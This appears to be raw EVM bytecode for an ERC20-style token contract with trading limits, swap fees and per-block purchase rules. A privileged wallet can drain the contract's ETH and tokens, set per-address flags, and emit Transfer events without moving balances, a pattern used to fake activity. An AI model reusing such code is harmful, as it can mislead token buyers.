0082613c99565b604082019050919050565b60006020820190508181036000830152613d2481613ce8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d87602383612d6d565b9150613d9282613d2b565b604082019050919050565b60006020820190508181036000830152613db681613d7a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613df3601683612d6d565b9150613dfe82613dbd565b602082019050919050565b60006020820190508181036000830152613e2281613de6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613e85603583612d6d565b9150613e9082613e29565b604082019050919050565b60006020820190508181036000830152613eb481613e78565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613ef1601383612d6d565b9150613efc82613ebb565b602082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613f83603683612d6d565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b6000613fc482612e8f565b9150613fcf83612e8f565b925082821015613fe257613fe16134c8565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000614049602183612d6d565b915061405482613fed565b604082019050919050565b600060208201905081810360008301526140788161403c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006140db602283612d6d565b91506140e68261407f565b604082019050919050565b6000602082019050818103600083015261410a816140ce565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614147602083612d6d565b915061415282614111565b602082019050919050565b600060208201905081810360008301526141768161413a565b9050919050565b60008151905061418c81612e63565b92915050565b6000602082840312156141a8576141a7612e27565b5b60006141b68482850161417d565b91505092915050565b6000819050919050565b60006141e46141df6141da846141bf565b61310b565b612e8f565b9050919050565b6141f4816141c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61422f81612e51565b82525050565b60006142418383614226565b60208301905092915050565b6000602082019050919050565b6000614265826141fa565b61426f8185614205565b935061427a83614216565b8060005b838110156142ab5781516142928882614235565b975061429d8361424d565b92505060018101905061427e565b5085935050505092915050565b600060a0820190506142cd6000830188612f3b565b6142da60208301876141eb565b81810360408301526142ec818661425a565b90506142fb60608301856130e1565b6143086080830184612f3b565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061436e602683612d6d565b915061437982614312565b604082019050919050565b6000602082019050818103600083015261439d81614361565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614400602483612d6d565b915061440b826143a4565b604082019050919050565b6000602082019050818103600083015261442f816143f3565b905091905056fea264697066735822122069e757c54f34cdebfdd749ea19157cfc45270c24a7c5838cc7986cbd67cfa32664736f6c634300080a00330000000000000000000000003a40672ae10e02fa4762fc7edf5f762ffbfab7ec0000000000000000000000000000000000000000000000000000000000000002

Deployed Bytecode

0x6080604052600436106102295760003560e01c80638da5cb5b11610123578063c2b7bbb6116100ab578063e083e9221161006f578063e083e92214610800578063e2f4560514610829578063f2fde38b14610854578063f8b45b051461087d578063ffb54a99146108a857610230565b8063c2b7bbb61461072f578063c4590d3f14610758578063c8c8ebe414610781578063c9567bf9146107ac578063dd62ed3e146107c357610230565b8063a457c2d7116100f2578063a457c2d71461063a578063a9059cbb14610677578063a9ddeaa2146106b4578063afa4f3b2146106dd578063b70143c91461070657610230565b80638da5cb5b1461057e57806395d89b41146105a95780639a7a23d6146105d45780639f53c5bf146105fd57610230565b806342966c68116101b15780635d098b38116101755780635d098b38146104ad5780636ddd1713146104d657806370a0823114610501578063715018a61461053e5780637571336a1461055557610230565b806342966c68146103ec578063470624021461041557806349bd5a5e146104405780634d54557f1461046b578063583e05681461048257610230565b806326ededb8116101f857806326ededb8146103055780632b14ca561461032e578063311028af14610359578063313ce5671461038457806339509351146103af57610230565b806306fdde0314610235578063095ea7b31461026057806318160ddd1461029d57806323b872dd146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108d3565b6040516102579190612dfb565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612ec5565b610965565b6040516102949190612f20565b60405180910390f35b3480156102a957600080fd5b506102b2610988565b6040516102bf9190612f4a565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190612f65565b610992565b6040516102fc9190612f20565b60405180910390f35b34801561031157600080fd5b5061032c6004803603810190610327919061301d565b6109c1565b005b34801561033a57600080fd5b50610343610af7565b6040516103509190612f4a565b60405180910390f35b34801561036557600080fd5b5061036e610afd565b60405161037b9190612f4a565b60405180910390f35b34801561039057600080fd5b50610399610b03565b6040516103a69190613099565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190612ec5565b610b0c565b6040516103e39190612f20565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e91906130b4565b610b43565b005b34801561042157600080fd5b5061042a610b57565b6040516104379190612f4a565b60405180910390f35b34801561044c57600080fd5b50610455610b5d565b60405161046291906130f0565b60405180910390f35b34801561047757600080fd5b50610480610b83565b005b34801561048e57600080fd5b50610497610c70565b6040516104a4919061316a565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613185565b610c94565b005b3480156104e257600080fd5b506104eb610d39565b6040516104f89190612f20565b60405180910390f35b34801561050d57600080fd5b5061052860048036038101906105239190613185565b610d4c565b6040516105359190612f4a565b60405180910390f35b34801561054a57600080fd5b50610553610d94565b005b34801561056157600080fd5b5061057c600480360381019061057791906131de565b610da8565b005b34801561058a57600080fd5b50610593610e0b565b6040516105a091906130f0565b60405180910390f35b3480156105b557600080fd5b506105be610e35565b6040516105cb9190612dfb565b60405180910390f35b3480156105e057600080fd5b506105fb60048036038101906105f691906131de565b610ec7565b005b34801561060957600080fd5b50610624600480360381019061061f9190613185565b610f6e565b6040516106319190612f20565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190612ec5565b610fc4565b60405161066e9190612f20565b60405180910390f35b34801561068357600080fd5b5061069e60048036038101906106999190612ec5565b61103b565b6040516106ab9190612f20565b60405180910390f35b3480156106c057600080fd5b506106db60048036038101906106d6919061335c565b61105e565b005b3480156106e957600080fd5b5061070460048036038101906106ff91906130b4565b6111bc565b005b34801561071257600080fd5b5061072d600480360381019061072891906130b4565b611245565b005b34801561073b57600080fd5b5061075660048036038101906107519190613185565b6112dd565b005b34801561076457600080fd5b5061077f600480360381019061077a91906133b8565b611383565b005b34801561078d57600080fd5b506107966113d9565b6040516107a39190612f4a565b60405180910390f35b3480156107b857600080fd5b506107c16113df565b005b3480156107cf57600080fd5b506107ea60048036038101906107e591906133f8565b61141f565b6040516107f79190612f4a565b60405180910390f35b34801561080c57600080fd5b5061082760048036038101906108229190613185565b6114a6565b005b34801561083557600080fd5b5061083e6116be565b60405161084b9190612f4a565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190613185565b6116c4565b005b34801561088957600080fd5b50610892611748565b60405161089f9190612f4a565b60405180910390f35b3480156108b457600080fd5b506108bd61174e565b6040516108ca9190612f20565b60405180910390f35b6060600380546108e290613467565b80601f016020809104026020016040519081016040528092919081815260200182805461090e90613467565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b600080610970611761565b905061097d818585611769565b600191505092915050565b6000600254905090565b60008061099d611761565b90506109aa858285611934565b6109b58585856119c0565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a02611761565b73ffffffffffffffffffffffffffffffffffffffff1614610a2257600080fd5b60005b83839050811015610af157838382818110610a4357610a42613499565b5b9050602002016020810190610a589190613185565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad69190612f4a565b60405180910390a38080610ae9906134f7565b915050610a25565b50505050565b600f5481565b600a5481565b60006009905090565b600080610b17611761565b9050610b38818585610b29858961141f565b610b339190613540565b611769565b600191505092915050565b610b54610b4e611761565b826123cd565b50565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd906135e2565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c07611761565b73ffffffffffffffffffffffffffffffffffffffff1614610c2757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c6d573d6000803e3d6000fd5b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cd5611761565b73ffffffffffffffffffffffffffffffffffffffff1614610cf557600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d9c61259b565b610da66000612619565b565b610db061259b565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610e4490613467565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7090613467565b8015610ebd5780601f10610e9257610100808354040283529160200191610ebd565b820191906000526020600020905b815481529060010190602001808311610ea057829003601f168201915b5050505050905090565b610ecf61259b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5790613674565b60405180910390fd5b610f6a82826126df565b5050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610fcf611761565b90506000610fdd828661141f565b905083811015611022576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101990613706565b60405180910390fd5b61102f8286868403611769565b60019250505092915050565b600080611046611761565b90506110538185856119c0565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109f611761565b73ffffffffffffffffffffffffffffffffffffffff16146110bf57600080fd5b60005b82518110156111b75781601460008584815181106110e3576110e2613499565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082818151811061114f5761114e613499565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78360405161119c9190612f20565b60405180910390a280806111af906134f7565b9150506110c2565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fd611761565b73ffffffffffffffffffffffffffffffffffffffff161461121d57600080fd5b611225610b03565b600a6112319190613859565b8161123c91906138a4565b600b8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611286611761565b73ffffffffffffffffffffffffffffffffffffffff16146112a657600080fd5b60006112b130610d4c565b90506000606483836112c391906138a4565b6112cd919061392d565b90506112d881612780565b505050565b6112e561259b565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611353600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610da8565b611380600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016126df565b50565b61138b61259b565b611393610b03565b600a61139f9190613859565b826113aa91906138a4565b600d819055506113b8610b03565b600a6113c49190613859565b816113cf91906138a4565b600c819055505050565b600d5481565b6113e761259b565b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114e7611761565b73ffffffffffffffffffffffffffffffffffffffff161461150757600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154291906130f0565b602060405180830381865afa15801561155f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115839190613973565b116115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba906139ec565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161161991906130f0565b602060405180830381865afa158015611636573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165a9190613973565b6040518363ffffffff1660e01b8152600401611677929190613a0c565b6020604051808303816000875af1158015611696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ba9190613a4a565b5050565b600b5481565b6116cc61259b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390613ae9565b60405180910390fd5b61174581612619565b50565b600c5481565b600e60019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d090613b7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184090613c0d565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119279190612f4a565b60405180910390a3505050565b6000611940848461141f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119ba57818110156119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a390613c79565b60405180910390fd5b6119b98484848403611769565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790613d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9790613d9d565b60405180910390fd5b6000811415611aba57611ab5838360006129df565b6123c8565b611ac2610e0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b305750611b00610e0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b695750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba3575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bbc5750600860149054906101000a900460ff16155b15611fe357600e60019054906101000a900460ff16611cb657601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c765750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cac90613e09565b60405180910390fd5b5b43601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d9d5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4457600d54811115611de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dde90613e9b565b60405180910390fd5b600c54611df383610d4c565b82611dfe9190613540565b1115611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3690613f07565b60405180910390fd5b611fe2565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee75750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3657600d54811115611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2890613f99565b60405180910390fd5b611fe1565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611fe057600c54611f9383610d4c565b82611f9e9190613540565b1115611fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd690613f07565b60405180910390fd5b5b5b5b5b6000611fee30610d4c565b90506000600b54821190508080156120125750600e60009054906101000a900460ff165b801561202b5750600860149054906101000a900460ff16155b80156120815750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d75750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561212d5750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612171576001600860146101000a81548160ff021916908315150217905550612155612c57565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff161580156121d95750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561222f5750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561235c57601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122ba576122b360646122a5600f5488612c9690919063ffffffff16565b612cac90919063ffffffff16565b9050612338565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561233757612334606461232660105488612c9690919063ffffffff16565b612cac90919063ffffffff16565b90505b5b600081111561234d5761234c8730836129df565b5b80856123599190613fb9565b94505b601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b8576123b787612cc2565b5b6123c38787876129df565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561243d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124349061405f565b60405180910390fd5b61244982600083612d4c565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c6906140f1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125829190612f4a565b60405180910390a361259683600084612d51565b505050565b6125a3611761565b73ffffffffffffffffffffffffffffffffffffffff166125c1610e0b565b73ffffffffffffffffffffffffffffffffffffffff1614612617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260e9061415d565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff81111561279d5761279c61321e565b5b6040519080825280602002602001820160405280156127cb5781602001602082028036833780820191505090505b50905030816000815181106127e3576127e2613499565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ac9190614192565b816001815181106128c0576128bf613499565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612925307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611769565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129a99594939291906142b8565b600060405180830381600087803b1580156129c357600080fd5b505af11580156129d7573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4690613d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab690613d9d565b60405180910390fd5b612aca838383612d4c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4790614384565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c3e9190612f4a565b60405180910390a3612c51848484612d51565b50505050565b6000612c6230610d4c565b90506000811415612c735750612c94565b6000819050600b54811115612c8857600b5490505b612c9181612780565b50505b565b60008183612ca491906138a4565b905092915050565b60008183612cba919061392d565b905092915050565b612d0a601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d56565b612d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d4090614416565b60405180910390fd5b50565b505050565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d9c578082015181840152602081019050612d81565b83811115612dab576000848401525b50505050565b6000601f19601f8301169050919050565b6000612dcd82612d62565b612dd78185612d6d565b9350612de7818560208601612d7e565b612df081612db1565b840191505092915050565b60006020820190508181036000830152612e158184612dc2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e5c82612e31565b9050919050565b612e6c81612e51565b8114612e7757600080fd5b50565b600081359050612e8981612e63565b92915050565b6000819050919050565b612ea281612e8f565b8114612ead57600080fd5b50565b600081359050612ebf81612e99565b92915050565b60008060408385031215612edc57612edb612e27565b5b6000612eea85828601612e7a565b9250506020612efb85828601612eb0565b9150509250929050565b60008115159050919050565b612f1a81612f05565b82525050565b6000602082019050612f356000830184612f11565b92915050565b612f4481612e8f565b82525050565b6000602082019050612f5f6000830184612f3b565b92915050565b600080600060608486031215612f7e57612f7d612e27565b5b6000612f8c86828701612e7a565b9350506020612f9d86828701612e7a565b9250506040612fae86828701612eb0565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612fdd57612fdc612fb8565b5b8235905067ffffffffffffffff811115612ffa57612ff9612fbd565b5b60208301915083602082028301111561301657613015612fc2565b5b9250929050565b60008060006040848603121561303657613035612e27565b5b600084013567ffffffffffffffff81111561305457613053612e2c565b5b61306086828701612fc7565b9350935050602061307386828701612eb0565b9150509250925092565b600060ff82169050919050565b6130938161307d565b82525050565b60006020820190506130ae600083018461308a565b92915050565b6000602082840312156130ca576130c9612e27565b5b60006130d884828501612eb0565b91505092915050565b6130ea81612e51565b82525050565b600060208201905061310560008301846130e1565b92915050565b6000819050919050565b600061313061312b61312684612e31565b61310b565b612e31565b9050919050565b600061314282613115565b9050919050565b600061315482613137565b9050919050565b61316481613149565b82525050565b600060208201905061317f600083018461315b565b92915050565b60006020828403121561319b5761319a612e27565b5b60006131a984828501612e7a565b91505092915050565b6131bb81612f05565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b600080604083850312156131f5576131f4612e27565b5b600061320385828601612e7a565b9250506020613214858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61325682612db1565b810181811067ffffffffffffffff821117156132755761327461321e565b5b80604052505050565b6000613288612e1d565b9050613294828261324d565b919050565b600067ffffffffffffffff8211156132b4576132b361321e565b5b602082029050602081019050919050565b60006132d86132d384613299565b61327e565b905080838252602082019050602084028301858111156132fb576132fa612fc2565b5b835b8181101561332457806133108882612e7a565b8452602084019350506020810190506132fd565b5050509392505050565b600082601f83011261334357613342612fb8565b5b81356133538482602086016132c5565b91505092915050565b6000806040838503121561337357613372612e27565b5b600083013567ffffffffffffffff81111561339157613390612e2c565b5b61339d8582860161332e565b92505060206133ae858286016131c9565b9150509250929050565b600080604083850312156133cf576133ce612e27565b5b60006133dd85828601612eb0565b92505060206133ee85828601612eb0565b9150509250929050565b6000806040838503121561340f5761340e612e27565b5b600061341d85828601612e7a565b925050602061342e85828601612e7a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061347f57607f821691505b6020821081141561349357613492613438565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061350282612e8f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613535576135346134c8565b5b600182019050919050565b600061354b82612e8f565b915061355683612e8f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358b5761358a6134c8565b5b828201905092915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006135cc601683612d6d565b91506135d782613596565b602082019050919050565b600060208201905081810360008301526135fb816135bf565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061365e603983612d6d565b915061366982613602565b604082019050919050565b6000602082019050818103600083015261368d81613651565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006136f0602583612d6d565b91506136fb82613694565b604082019050919050565b6000602082019050818103600083015261371f816136e3565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561377d57808604811115613759576137586134c8565b5b60018516156137685780820291505b808102905061377685613726565b945061373d565b94509492505050565b6000826137965760019050613852565b816137a45760009050613852565b81600181146137ba57600281146137c4576137f3565b6001915050613852565b60ff8411156137d6576137d56134c8565b5b8360020a9150848211156137ed576137ec6134c8565b5b50613852565b5060208310610133831016604e8410600b84101617156138285782820a905083811115613823576138226134c8565b5b613852565b6138358484846001613733565b9250905081840481111561384c5761384b6134c8565b5b81810290505b9392505050565b600061386482612e8f565b915061386f8361307d565b925061389c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613786565b905092915050565b60006138af82612e8f565b91506138ba83612e8f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f3576138f26134c8565b5b828202905092915050565b